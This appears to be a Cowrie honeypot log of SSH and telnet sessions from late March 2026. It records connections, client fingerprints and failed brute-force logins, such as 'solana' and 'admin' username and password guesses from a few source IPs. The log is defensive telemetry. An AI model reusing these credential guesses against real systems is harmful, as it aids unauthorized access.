cCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T02:07:01.667110Z","src_ip":"2.57.122.96","session":"9978ebb8d954","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"solana","password":"sol","message":"login attempt [solana/sol] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T02:07:01.978764Z","src_ip":"2.57.122.96","session":"9978ebb8d954","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T02:07:03.084535Z","src_ip":"2.57.122.96","session":"9978ebb8d954","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"118.71.142.90","src_port":53256,"dst_ip":"159.203.135.109","dst_port":23,"session":"5439d7165eaa","protocol":"telnet","message":"New connection: 118.71.142.90:53256 (159.203.135.109:23) [session: 5439d7165eaa]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T02:08:17.917209Z"}
{"eventid":"cowrie.session.closed","duration":12.249468803405762,"message":"Connection lost after 12 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T02:08:30.166555Z","src_ip":"118.71.142.90","session":"5439d7165eaa","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.122.96","src_port":37720,"dst_ip":"10.17.0.5","dst_port":22,"session":"b6089ff515e4","protocol":"ssh","message":"New connection: 2.57.122.96:37720 (10.17.0.5:22) [session: b6089ff515e4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T02:09:51.308868Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T02:09:51.322444Z","src_ip":"2.57.122.96","session":"b6089ff515e4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T02:09:51.419969Z","src_ip":"2.57.122.96","session":"b6089ff515e4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"solana","password":"solana","message":"login attempt [solana/solana] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T02:09:51.983242Z","src_ip":"2.57.122.96","session":"b6089ff515e4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T02:09:53.090240Z","src_ip":"2.57.122.96","session":"b6089ff515e4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.122.96","src_port":39754,"dst_ip":"159.203.135.109","dst_port":22,"session":"d3b7c2f9a365","protocol":"ssh","message":"New connection: 2.57.122.96:39754 (159.203.135.109:22) [session: d3b7c2f9a365]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T02:10:08.357804Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T02:10:08.374197Z","src_ip":"2.57.122.96","session":"d3b7c2f9a365","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T02:10:08.475029Z","src_ip":"2.57.122.96","session":"d3b7c2f9a365","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"solana","password":"solana","message":"login attempt [solana/solana] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T02:10:08.864787Z","src_ip":"2.57.122.96","session":"d3b7c2f9a365","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T02:10:09.969498Z","src_ip":"2.57.122.96","session":"d3b7c2f9a365","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.122.96","src_port":52708,"dst_ip":"10.17.0.5","dst_port":22,"session":"4ebd980c2f39","protocol":"ssh","message":"New connection: 2.57.122.96:52708 (10.17.0.5:22) [session: 4ebd980c2f39]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T02:12:46.251553Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T02:12:46.275514Z","src_ip":"2.57.122.96","session":"4ebd980c2f39","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T02:12:46.369880Z","src_ip":"2.57.122.96","session":"4ebd980c2f39","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"solana","password":"solana123","message":"login attempt [solana/solana123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T02:12:46.780789Z","src_ip":"2.57.122.96","session":"4ebd980c2f39","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T02:12:47.888051Z","src_ip":"2.57.122.96","session":"4ebd980c2f39","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.122.96","src_port":53960,"dst_ip":"159.203.135.109","dst_port":22,"session":"0c3b7f4935ef","protocol":"ssh","message":"New connection: 2.57.122.96:53960 (159.203.135.109:22) [session: 0c3b7f4935ef]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T02:13:02.306629Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T02:13:02.314233Z","src_ip":"2.57.122.96","session":"0c3b7f4935ef","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T02:13:02.416828Z","src_ip":"2.57.122.96","session":"0c3b7f4935ef","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"solana","password":"solana123","message":"login attempt [solana/solana123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T02:13:02.860121Z","src_ip":"2.57.122.96","session":"0c3b7f4935ef","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T02:13:03.963851Z","src_ip":"2.57.122.96","session":"0c3b7f4935ef","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.121.112","src_port":25716,"dst_ip":"10.17.0.5","dst_port":22,"session":"486f8532ded7","protocol":"ssh","message":"New connection: 2.57.121.112:25716 (10.17.0.5:22) [session: 486f8532ded7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T02:14:27.970428Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.9.0","message":"Remote SSH version: SSH-2.0-libssh2_1.9.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T02:14:27.974036Z","src_ip":"2.57.121.112","session":"486f8532ded7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"57446c12547a668110aa237e5965e374","hasshAlgorithms":"ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 57446c12547a668110aa237e5965e374","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T02:14:28.070451Z","src_ip":"2.57.121.112","session":"486f8532ded7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"041087","message":"login attempt [admin/041087] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T02:14:28.528457Z","src_ip":"2.57.121.112","session":"486f8532ded7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"041085","message":"login attempt [admin/041085] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T02:14:29.628298Z","src_ip":"2.57.121.112","session":"486f8532ded7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"04101974","message":"login attempt [admin/04101974] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T02:14:30.727214Z","src_ip":"2.57.121.112","session":"486f8532ded7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"040983","message":"login attempt [admin/040983] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T02:14:31.828575Z","src_ip":"2.57.121.112","session":"486f8532ded7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"04091977","message":"login attempt [admin/04091977] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T02:14:32.928332Z","src_ip":"2.57.121.112","session":"486f8532ded7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"6.1","message":"Connection lost after 6.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T02:14:34.029169Z","src_ip":"2.57.121.112","session":"486f8532ded7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.122.96","src_port":35178,"dst_ip":"10.17.0.5","dst_port":22,"session":"9d70a97d6511","protocol":"ssh","message":"New connection: 2.57.122.96:35178 (10.17.0.5:22) [session: 9d70a97d6511]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T02:15:43.700965Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T02:15:43.704813Z","src_ip":"2.57.122.96","session":"9d70a97d6511","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T02:15:43.803696Z","src_ip":"2.57.122.96","session":"9d70a97d6511","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"solana","password":"solana@123","message":"login attempt [solana/solana@123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T02:15:44.101543Z","src_ip":"2.57.122.96","session":"9d70a97d6511","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T02:15:45.203145Z","src_ip":"2.57.122.96","session":"9d70a97d6511","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.122.96","src_port":45862,"dst_ip":"159.203.135.109","dst_port":22,"session":"624367f7b1ae","protocol":"ssh","message":"New connection: 2.57.122.96:45862 (159.203.135.109:22) [session: 624367f7b1ae]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T02:16:00.093402Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T02:16:00.120919Z","src_ip":"2.57.122.96","session":"624367f7b1ae","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T02:16:00.209400Z","src_ip":"2.57.122.96","session":"624367f7b1ae","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"solana","password":"solana@123","message":"login attempt [solana/solana@123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T02:16:00.634187Z","src_ip":"2.57.122.96","session":"624367f7b1ae","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T02:16:01.767641Z","src_ip":"2.57.122.96","session":"624367f7b1ae","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"65.49.20.67","src_port":46870,"dst_ip":"10.17.0.5","dst_port":23,"session":"3c3e225fbe40","protocol":"telnet","message":"New connection: 65.49.20.67:46870 (10.17.0.5:23) [session: 3c3e225fbe40]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T02:16:55.742431Z"}
{"eventid":"cowrie.login.failed","username":"GET / HTTP/1.1","password":"Host: 134.199.244.163:23","message":"login attempt [GET / HTTP/1.1/Host: 134.199.244.163:23] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T02:16:55.748384Z","src_ip":"65.49.20.67","session":"3c3e225fbe40","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/61.0.3163.100 Electron/2.0.18 Safari/537.36","password":"Accept: */*","message":"login attempt [User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/61.0.3163.100 Electron/2.0.18 Safari/537.36/Accept: */*] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T02:16:55.752411Z","src_ip":"65.49.20.67","session":"3c3e225fbe40","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"Accept-Encoding: gzip","password":"","message":"login attempt [Accept-Encoding: gzip/] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T02:16:55.756365Z","src_ip":"65.49.20.67","session":"3c3e225fbe40","protocol":"telnet"}
